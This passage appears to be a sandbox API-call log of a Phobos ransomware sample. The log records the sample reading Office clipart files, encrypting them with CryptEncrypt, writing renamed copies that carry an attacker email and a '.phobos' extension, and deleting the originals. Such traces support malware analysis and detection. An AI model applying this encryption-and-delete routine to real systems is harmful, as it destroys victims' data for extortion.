[0135.749] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1370, lpOverlapped=0x0) returned 1 [0135.750] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752fd8) returned 1 [0135.750] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.751] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.751] CryptDestroyKey (hKey=0x752fd8) returned 1 [0135.751] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.751] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.751] CloseHandle (hObject=0x2b4) returned 1 [0135.751] CloseHandle (hObject=0x310) returned 1 [0135.751] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0135.752] SetEvent (hEvent=0x2b8) returned 1 [0135.752] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.752] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=23300) returned 1 [0135.752] CloseHandle (hObject=0x310) returned 1 [0135.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0135.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.753] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.753] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.753] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752ad8) returned 1 [0135.753] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.753] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x5b04, lpOverlapped=0x0) returned 1 [0135.907] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5b10) returned 1 [0135.907] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x5b10, lpOverlapped=0x0) returned 1 [0135.910] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752b18) returned 1 [0135.910] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.910] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.910] CryptDestroyKey (hKey=0x752b18) returned 1 [0135.910] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.911] CryptDestroyKey (hKey=0x752ad8) returned 1 [0135.911] CloseHandle (hObject=0x310) returned 1 [0135.911] CloseHandle (hObject=0x2b4) returned 1 [0135.911] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0135.912] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.912] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=22116) returned 1 [0135.912] CloseHandle (hObject=0x2b4) returned 1 [0135.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0135.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.912] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.912] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.913] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x7531d8) returned 1 [0135.913] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.913] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x5664, lpOverlapped=0x0) returned 1 [0136.231] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5670, dwBufLen=0x5670 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5670) returned 1 [0136.231] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x5670, lpOverlapped=0x0) returned 1 [0136.232] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0136.232] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0136.232] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0136.232] CryptDestroyKey (hKey=0x752c58) returned 1 [0136.232] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0136.232] CryptDestroyKey (hKey=0x7531d8) returned 1 [0136.232] CloseHandle (hObject=0x2b4) returned 1 [0136.233] CloseHandle (hObject=0x310) returned 1 [0136.233] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0136.233] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0136.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0136.234] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=68776) returned 1 [0136.234] CloseHandle (hObject=0x310) returned 1 [0136.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0136.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0136.234] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0136.234] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0136.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0136.235] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752f18) returned 1 [0136.235] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0136.235] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x10ca8, lpOverlapped=0x0) returned 1 [0136.301] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x10cb0, dwBufLen=0x10cb0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x10cb0) returned 1 [0136.302] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x10cb0, lpOverlapped=0x0) returned 1 [0136.303] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752ad8) returned 1 [0136.303] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0136.303] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0136.303] CryptDestroyKey (hKey=0x752ad8) returned 1 [0136.303] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0136.303] CryptDestroyKey (hKey=0x752f18) returned 1 [0136.303] CloseHandle (hObject=0x310) returned 1 [0136.303] CloseHandle (hObject=0x2b4) returned 1 [0136.303] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0136.305] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0136.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0136.305] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1158) returned 1 [0136.305] CloseHandle (hObject=0x2b4) returned 1 [0136.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0136.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0136.305] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0136.306] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0136.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0136.306] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753018) returned 1 [0136.306] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0136.306] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x486, lpOverlapped=0x0) returned 1 [0136.948] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x490, dwBufLen=0x490 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x490) returned 1 [0136.948] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x490, lpOverlapped=0x0) returned 1 [0136.948] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752f98) returned 1 [0136.948] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0136.948] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0136.948] CryptDestroyKey (hKey=0x752f98) returned 1 [0136.948] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0136.949] CryptDestroyKey (hKey=0x753018) returned 1 [0136.949] CloseHandle (hObject=0x2b4) returned 1 [0136.949] CloseHandle (hObject=0x310) returned 1 [0136.949] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0136.950] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0136.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0136.950] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1848) returned 1 [0136.950] CloseHandle (hObject=0x310) returned 1 [0136.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0136.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0136.950] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0136.950] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0136.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0136.951] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e58) returned 1 [0136.951] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0136.951] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x738, lpOverlapped=0x0) returned 1 [0137.053] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x740, dwBufLen=0x740 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x740) returned 1 [0137.053] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x740, lpOverlapped=0x0) returned 1 [0137.054] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0137.054] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0137.054] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0137.054] CryptDestroyKey (hKey=0x752cd8) returned 1 [0137.054] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0137.054] CryptDestroyKey (hKey=0x752e58) returned 1 [0137.054] CloseHandle (hObject=0x310) returned 1 [0137.054] CloseHandle (hObject=0x2b4) returned 1 [0137.055] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0137.055] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0137.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0137.056] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1892) returned 1 [0137.056] CloseHandle (hObject=0x2b4) returned 1 [0137.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0137.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 